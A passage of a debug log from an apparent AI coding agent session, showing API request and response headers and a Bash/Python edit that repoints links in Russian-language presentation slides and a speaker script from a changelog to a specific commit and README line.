\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\",\n[2026-09-29T08:03:54.624Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:54.624Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:54.624Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:54.624Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:54.624Z] [INFO]   }\n[2026-09-29T08:03:54.624Z] [INFO] }\n[2026-09-29T08:03:54.707Z] [STDOUT] [log_83262d] sending request {\n[2026-09-29T08:03:54.715Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:54.729Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:54.734Z] [STDOUT]   options: {\n[2026-09-29T08:03:54.736Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:54.740Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:54.745Z] [STDOUT]     body: {\n[2026-09-29T08:03:54.753Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:54.756Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:54.761Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:54.764Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:54.766Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:54.768Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:54.770Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:54.773Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:54.778Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:54.783Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:54.789Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:54.792Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:54.796Z] [STDOUT]     },\n[2026-09-29T08:03:54.800Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:54.802Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:54.807Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:54.810Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:54.814Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:54.819Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:54.826Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:54.828Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:54.830Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:54.832Z] [STDOUT]     },\n[2026-09-29T08:03:54.834Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:54.836Z] [STDOUT]   },\n[2026-09-29T08:03:54.842Z] [STDOUT]   headers: {\n[2026-09-29T08:03:54.847Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:54.850Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:54.853Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:54.856Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:54.858Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:54.860Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:54.862Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:54.864Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:54.866Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:54.868Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2278\",\n[2026-09-29T08:03:54.870Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:54.872Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:54.874Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:54.876Z] [STDOUT]     \"x-client-request-id\": \"eaa1a3fa-8248-4606-b491-8851ba37e45e\",\n[2026-09-29T08:03:54.878Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:54.880Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:54.882Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:54.884Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:54.886Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:54.888Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:54.890Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:54.894Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:54.896Z] [STDOUT]   },\n[2026-09-29T08:03:54.905Z] [STDOUT] }\n[2026-09-29T08:03:55.599Z] [STDOUT] [log_83262d, request-id: \"req_011CfXPAaKGFjw5a2oj5oVck\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 866ms\n[2026-09-29T08:03:55.602Z] [STDOUT] [log_83262d] response start {\n[2026-09-29T08:03:55.609Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:55.612Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:55.615Z] [STDOUT]   headers: {\n[2026-09-29T08:03:55.619Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:55.622Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:55.625Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:55.627Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:55.639Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:55.643Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.655Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:55.660Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:55.669Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:55.674Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:55.676Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:55.679Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:55.685Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:55.688Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.690Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:55.692Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:55.694Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:55.697Z] [STDOUT]     \"cf-ray\": \"a429795afdb55d90-FRA\",\n[2026-09-29T08:03:55.699Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:55.701Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:55.704Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:55.707Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:55.709Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:55 GMT\",\n[2026-09-29T08:03:55.712Z] [STDOUT]     \"request-id\": \"req_011CfXPAaKGFjw5a2oj5oVck\",\n[2026-09-29T08:03:55.716Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:55.719Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:55.721Z] [STDOUT]     traceresponse: \"00-da212e9f6f71584fb01836a5509a5e7b-2a32ede0f4e64e89-01\",\n[2026-09-29T08:03:55.724Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:55.726Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:55.729Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:55.732Z] [STDOUT]   },\n[2026-09-29T08:03:55.737Z] [STDOUT]   durationMs: 866,\n[2026-09-29T08:03:55.740Z] [STDOUT] }\n[2026-09-29T08:03:55.743Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:55.747Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:55 GMT\",\n[2026-09-29T08:03:55.758Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:55.765Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:55.769Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:55.781Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:55.784Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:55.787Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:55.790Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:55.795Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:55.799Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:55.804Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:55.807Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:55.815Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:55.819Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:55.823Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:55.827Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:55.838Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.842Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:55.845Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:55.847Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:55.851Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:55.855Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:55.861Z] [STDOUT]   \"request-id\": \"req_011CfXPAaKGFjw5a2oj5oVck\",\n[2026-09-29T08:03:55.865Z] [STDOUT]   \"traceresponse\": \"00-da212e9f6f71584fb01836a5509a5e7b-2a32ede0f4e64e89-01\",\n[2026-09-29T08:03:55.872Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:55.875Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:55.882Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:55.884Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:55.889Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:55.894Z] [STDOUT]   \"cf-ray\": \"a429795afdb55d90-FRA\",\n[2026-09-29T08:03:55.897Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:55.901Z] [STDOUT] [log_83262d] response parsed {\n[2026-09-29T08:03:55.903Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:55.906Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:55.907Z] [STDOUT]   body: X {\n[2026-09-29T08:03:55.909Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:55.911Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:55.913Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:55.916Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:55.918Z] [STDOUT]     },\n[2026-09-29T08:03:55.920Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:55.921Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:55.925Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:55.927Z] [STDOUT]   },\n[2026-09-29T08:03:55.929Z] [STDOUT]   durationMs: 872,\n[2026-09-29T08:03:55.931Z] [STDOUT] }\n[2026-09-29T08:04:01.051Z] [INFO] {\n[2026-09-29T08:04:01.051Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"message\": {\n[2026-09-29T08:04:01.051Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"id\": \"msg_011CfXPAavyRG89aX7bojB7k\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"content\": [\n[2026-09-29T08:04:01.051Z] [INFO]       {\n[2026-09-29T08:04:01.051Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:04:01.051Z] [INFO]         \"id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:01.051Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:04:01.051Z] [INFO]         \"input\": {\n[2026-09-29T08:04:01.051Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\nC='https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1'\\nR='https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50'\\ns='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(s).read()\\na='[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),'\\nb=f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 23 \u0444\u0430\u0439\u043b\u0430]({C}),\\\\n[README `mango_ba_prompts`: \u00abevals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\u00bb]({R}),'\\nassert a in t; open(s,'w').write(t.replace(a,b))\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)'\\nassert a in t; t=t.replace(a,f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e]({C})')\\na='\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'\\nassert a in t; t=t.replace(a,f'[\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\\\n  {R}): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.')\\nopen(p,'w').write(t)\\nEOF\\ngrep -n -B1 -A1 'README.md#L50' projects/ba-ai-process/docs/presentation/*speaker*.md; grep -rn 'mango_ba_prompts/blob/main/CHANGELOG' projects/ba-ai-process/docs/presentation/ || echo \\\"no changelog refs left\\\"\",\n[2026-09-29T08:04:01.051Z] [INFO]           \"description\": \"Point evolution links to exact evidence\"\n[2026-09-29T08:04:01.051Z] [INFO]         },\n[2026-09-29T08:04:01.051Z] [INFO]         \"caller\": {\n[2026-09-29T08:04:01.051Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:04:01.051Z] [INFO]         }\n[2026-09-29T08:04:01.051Z] [INFO]       }\n[2026-09-29T08:04:01.051Z] [INFO]     ],\n[2026-09-29T08:04:01.051Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:01.051Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:01.051Z] [INFO]       \"cache_creation_input_tokens\": 396,\n[2026-09-29T08:04:01.051Z] [INFO]       \"cache_read_input_tokens\": 97235,\n[2026-09-29T08:04:01.051Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:01.051Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:01.051Z] [INFO]         \"ephemeral_1h_input_tokens\": 396\n[2026-09-29T08:04:01.051Z] [INFO]       },\n[2026-09-29T08:04:01.051Z] [INFO]       \"output_tokens\": 20,\n[2026-09-29T08:04:01.051Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:01.051Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:01.051Z] [INFO]     },\n[2026-09-29T08:04:01.051Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:01.051Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:01.051Z] [INFO]   },\n[2026-09-29T08:04:01.051Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:01.051Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"uuid\": \"d945e319-22e5-41c5-bb3a-d53e22b4c9de\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:00.868Z\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"request_id\": \"req_011CfXPAaKGFjw5a2oj5oVck\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:04:01.051Z] [INFO]     \"toolu_01QLeZtUvPn4qT61A97mg8Ls\": {\n[2026-09-29T08:04:01.051Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\nC='https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1'\\nR='https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50'\\ns='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(s).read()\\na='[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),'\\nb=f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 23 \u0444\u0430\u0439\u043b\u0430]({C}),\\\\n[README `mango_ba_prompts`: \u00abevals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\u00bb]({R}),'\\nassert a in t; open(s,'w').write(t.replace(a,b))\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)'\\nassert a in t; t=t.replace(a,f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e]({C})')\\na='\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'\\nassert a in t; t=t.replace(a,f'[\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\\\n  {R}): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.')\\nopen(p,'w').write(t)\\nEOF\\ngrep -n -B1 -A1 'README.md#L50' projects/ba-ai-process/docs/presentation/*speaker*.md; grep -rn 'mango_ba_prompts/blob/main/CHANGELOG' projects/ba-ai-process/docs/presentation/ || echo \\\"no changelog refs left\\\"\",\n[2026-09-29T08:04:01.051Z] [INFO]       \"description\": \"Point evolution links to exact evidence\"\n[2026-09-29T08:04:01.051Z] [INFO]     }\n[2026-09-29T08:04:01.051Z] [INFO]   }\n[2026-09-29T08:04:01.051Z] [INFO] }\n[2026-09-29T08:04:04.289Z] [INFO] {\n[2026-09-29T08:04:04.289Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"task_id\": \"bdihe85ag\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"tool_use_id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"description\": \"Point evolution links to exact evidence\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:04:04.289Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"uuid\": \"9cb79e78-1462-4375-a5da-d3db891e8367\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:04.289Z] [INFO] }\n[2026-09-29T08:04:05.573Z] [INFO] {\n[2026-09-29T08:04:05.573Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"task_id\": \"bdihe85ag\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"tool_use_id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"summary\": \"Point evolution links to exact evidence\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"uuid\": \"8fa20f04-1771-40f9-92ce-d455bec5e24b\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:05.573Z] [INFO] }\n[2026-09-29T08:04:05.680Z] [INFO] {\n[2026-09-29T08:04:05.680Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"message\": {\n[2026-09-29T08:04:05.680Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:04:05.680Z] [INFO]     \"content\": [\n[2026-09-29T08:04:05.680Z] [INFO]       {\n[2026-09-29T08:04:05.680Z] [INFO]         \"tool_use_id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:05.680Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:04:05.680Z] [INFO]         \"content\": \"148-  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n149:  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n150-- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\nno changelog refs left\",\n[2026-09-29T08:04:05.680Z] [INFO]         \"is_error\": false\n[2026-09-29T08:04:05.680Z] [INFO]       }\n[2026-09-29T08:04:05.680Z] [INFO]     ]\n[2026-09-29T08:04:05.680Z] [INFO]   },\n[2026-09-29T08:04:05.680Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:05.680Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"uuid\": \"7ebb562a-2bf6-4509-9285-3b21de173807\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:05.670Z\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:04:05.680Z] [INFO]     \"stdout\": \"148-  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n149:  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n150-- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\nno changelog refs left\",\n[2026-09-29T08:04:05.680Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:04:05.680Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:04:05.680Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:04:05.680Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:04:05.680Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T08:04:05.680Z] [INFO]       \"files\": [\n[2026-09-29T08:04:05.680Z] [INFO]         {\n[2026-09-29T08:04:05.680Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T08:04:05.680Z] [INFO]           \"hunks\": [\n[2026-09-29T08:04:05.680Z] [INFO]             {\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldStart\": 220,\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newStart\": 220,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newLines\": 8,\n[2026-09-29T08:04:05.680Z] [INFO]               \"lines\": [\n[2026-09-29T08:04:05.680Z] 